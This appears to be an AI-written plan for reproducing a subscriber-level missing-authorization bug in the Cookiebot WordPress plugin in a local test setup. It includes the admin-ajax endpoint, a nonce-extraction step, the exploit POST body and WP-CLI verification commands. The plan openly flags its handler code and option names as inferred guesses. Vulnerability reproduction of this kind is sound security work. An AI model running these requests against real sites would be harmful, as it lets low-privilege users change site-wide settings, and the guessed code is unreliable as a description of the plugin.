Exploitation Research Plan - CVE-2026-25407 (Cookiebot by Usercentrics)

1. Vulnerability Summary

The Cookiebot by Usercentrics plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 4.6.4. The vulnerability exists because an AJAX handler (typically registered via wp_ajax_) fails to perform a capability check (e.g., current_user_can( 'manage_options' )) before executing its logic. This allows any authenticated user, including those with Subscriber-level permissions, to trigger administrative actions—specifically, forcing a renewal of cookie consent for all site visitors.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: cookiebot_renew_consent (inferred based on plugin functionality and common "Missing Authorization" targets in this plugin).
• HTTP Method: POST
• Parameter: action=cookiebot_renew_consent
• Authentication: Required (Subscriber or higher).
• Required Parameters: _ajax_nonce (if a nonce check is present but authorization is missing).

3. Code Flow

1. Entry Point: The plugin registers an AJAX handler in the admin class (likely admin/class-cookiebot-admin.php or includes/class-cookiebot.php).
2. Hook Registration:

   // Inferred registration
   add_action( 'wp_ajax_cookiebot_renew_consent', array( $this, 'renew_consent' ) );
   

3. Vulnerable Sink: The renew_consent function is executed.
4. The Flaw:

   public function renew_consent() {
       // Potential nonce check:
       // check_ajax_referer( 'cookiebot_nonce', 'nonce' ); 
       
       // MISSING: current_user_can( 'manage_options' ) check!
       
       update_option( 'cookiebot_renew_consent', '1' ); // Or similar option key
       wp_send_json_success();
   }
   

5. Impact: Any logged-in user can update the cookiebot_renew_consent option, which causes the Cookiebot banner to reappear for all users on their next visit, regardless of their previous consent status.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for use in its admin scripts. Even if a Subscriber cannot access the Cookiebot settings page, the script may be enqueued on other common admin pages (like the Dashboard or Profile page).

1. Identify Localization: The plugin uses wp_localize_script. Look for a variable like cookiebot_admin_params or cookiebot_vars.
2. Verification Page: Navigate to /wp-admin/profile.php or /wp-admin/index.php.
3. Extraction:
   • Use browser_eval to search for the nonce:
     browser_eval("window.cookiebot_admin_params?.nonce || window.cookiebot_vars?.nonce")
4. Fallback: If the script is only loaded on the Cookiebot settings page, the Subscriber will be blocked by WordPress's built-in menu permissions. However, if the nonce check is also missing (often the case with "Missing Authorization" reports), no nonce is needed.

5. Exploitation Strategy

Step 1: Authentication

Log in as a Subscriber-level user.

Step 2: Nonce Extraction (If required)

Navigate to the WordPress Dashboard and attempt to extract the nonce from the global window object.

Step 3: Trigger Unauthorized Action

Send a POST request to admin-ajax.php.

Request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=cookiebot_renew_consent&nonce=[EXTRACTED_NONCE]
  

Step 4: Verification

Verify that the underlying option has changed.

6. Test Data Setup

1. Install Plugin: Install Cookiebot version 4.6.4.
2. Configure Plugin: Activate the plugin. It may require a placeholder Cookiebot ID to initialize settings.
3. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

4. Verify Initial State:

   wp option get cookiebot_renew_consent 
   # Expected: "Error: Could not get 'cookiebot_renew_consent' option." or "0"
   

7. Expected Results

• HTTP Response: 200 OK with body {"success":true}.
• Database Change: The WordPress option responsible for consent renewal is updated to 1 or true.

8. Verification Steps

After the exploit request, run the following via WP-CLI:

# Check if the renewal option was set
wp option get cookiebot_renew_consent

Note: The specific option name might be cookiebot_renew_consent or cookiebot_renew_all_consent (inferred).

9. Alternative Approaches

If cookiebot_renew_consent is not the vulnerable action, search the plugin for other wp_ajax_ hooks that lack capability checks:

1. Search for AJAX hooks:
   grep -rn "wp_ajax_" wp-content/plugins/cookiebot/
2. Check for Permission Checks:
   Examine each function tied to those hooks for the string current_user_can.
3. Check admin_init hooks:
   Sometimes plugins handle actions in admin_init without checking if the user is on the intended settings page.
   grep -rn "add_action.*admin_init" wp-content/plugins/cookiebot/

If the nonce is strictly required and not accessible via the Dashboard, try to find a shortcode (e.g., [cookiebot]) that might enqueue the admin scripts on the frontend:

1. wp post create --post_content='[cookiebot]' --post_status=publish
2. View the page as a logged-in Subscriber.
3. Extract the nonce from the frontend source.